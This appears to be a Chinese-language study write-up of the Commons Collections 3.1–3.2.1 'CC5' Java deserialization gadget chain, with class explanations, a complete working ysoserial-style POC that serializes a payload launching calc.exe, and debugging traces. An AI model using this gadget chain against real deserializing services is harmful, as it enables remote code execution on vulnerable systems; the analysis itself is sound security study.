环境
java版本:jdk8u66(版本无限制)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)
同时需要关闭security manager
,But
1
| This only works in JDK 8u76 and WITHOUT a security manager
|
前置知识
TiedMapEntry
存在于包org.apache.commons.collections.keyvalue
中
构造函数:
1 2 3 4
| public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
|
通过构造函数可以传入Map对象,并且其getValue方法调用了map的get方法
1 2 3
| public Object getValue() { return this.map.get(this.key); }
|
同时其equals、hashCode、toString等方法都调用了getValue方法
如toString方法:
1 2 3
| public String toString() { return this.getKey() + "=" + this.getValue(); }
|
官方文档:https://commons.apache.org/proper/commons-collections//javadocs/api-3.2.2/
BadAttributeValueExpException
存在于包javax.management
中,是Exception类的子类
其实现了序列化,并重写了readObject方法
readObject方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
注意这里的readObject方法中val = valObj.toString();
执行了toSring方法,这正好与TiedMapEntry相结合构成一条利用链,即val字段需要是TiedMapEntry对象
观察其构造函数:
1 2 3
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
|
由于在构造函数中就会调用val.toString(),故会在构造POC时会触发本地的命令执行
另外在反序列化的时候不会触发命令执行,在执行readObject方法时val已经变成进程对象,解决办法就是通过反射将val的值赋值成为TiedMapEntry对象对象
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package ysoserial;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class commons_collections5 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); LazyMap lazyMap = LazyMap.decorate(innerMap,transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 11); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(100); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(badAttributeValueExpException);
FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); fin.readObject(); } }
|
调试POC
序列化的入口是BadAttributeValueExpException的readObject函数,在里面下断点
在执行到val = valObj.toString();
函数前各变量的值为:
其中在执行Object valObj = gf.get("val", null);
后会命令执行一次,此时的val是一个进程对象
跟进toString函数
这里会调用getKey和getValue,跟进getValue
这里的map正是我们POC中构造的lazymap,跟进来到LazyMap类的get函数
这与CC1和3链中使用LazyMap的流程一致
接下来就是进入transform函数执行四次for循环后命令执行
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| transform:121, ChainedTransformer (org.apache.commons.collections.functors) get:151, LazyMap (org.apache.commons.collections.map) getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue) toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue) readObject:86, BadAttributeValueExpException (javax.management) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1184, ObjectStreamClass (java.io) readSerialData:2322, ObjectInputStream (java.io) readOrdinaryObject:2213, ObjectInputStream (java.io) readObject0:1669, ObjectInputStream (java.io) readObject:503, ObjectInputStream (java.io) readObject:461, ObjectInputStream (java.io) main:51, commons_collections5 (ysoserial)
|
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13
| BadAttributeValueExpException.readObject ->TiedMapEntry.toString ->LazyMap.get ->ChainedTransformer.transform ->ConstantTransformer.transform ->InvokerTransformer.transform ->Method.invoke ->Class.getMethod ->InvokerTransformer.transform ->Method.invoke ->Runtime.getRuntime -> InvokerTransformer.transform ->Method.invoke->Runtime.exec
|
参考
Java安全之Commons Collections5分析 - nice_0e3 - 博客园 (cnblogs.com)
java安全-CC5链学习与分析 | Okaytc